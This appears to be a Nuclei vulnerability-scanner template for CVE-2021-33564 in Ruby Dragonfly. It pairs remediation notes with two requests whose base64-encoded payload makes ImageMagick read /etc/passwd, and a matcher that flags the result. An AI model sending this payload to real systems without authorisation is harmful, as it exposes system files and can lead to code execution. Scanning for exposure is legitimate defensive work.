id: CVE-2021-33564 info: name: Ruby Dragonfly <1.4.0 - Remote Code Execution author: 0xsapra severity: critical description: Ruby Dragonfly before 1.4.0 contains an argument injection vulnerability that allows remote attackers to read and write to arbitrary files via a crafted URL when the verify_url option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility. remediation: | Upgrade Ruby Dragonfly to version 1.4.0 or later to mitigate this vulnerability. reference: - https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/ - https://github.com/markevans/dragonfly/compare/v1.3.0...v1.4.0 - https://github.com/markevans/dragonfly/commit/25399297bb457f7fcf8e3f91e85945b255b111b5 - https://github.com/mlr0p/CVE-2021-33564 - https://nvd.nist.gov/vuln/detail/CVE-2021-33564 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-33564 cwe-id: CWE-88 epss-score: 0.07998 epss-percentile: 0.9344 cpe: cpe:2.3:a:dragonfly_project:dragonfly:*:*:*:*:*:ruby:*:* metadata: max-request: 2 vendor: dragonfly_project product: dragonfly framework: ruby tags: cve,cve2021,rce,ruby,injection http: - method: GET path: - "{{BaseURL}}/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ==" - "{{BaseURL}}/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ==" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200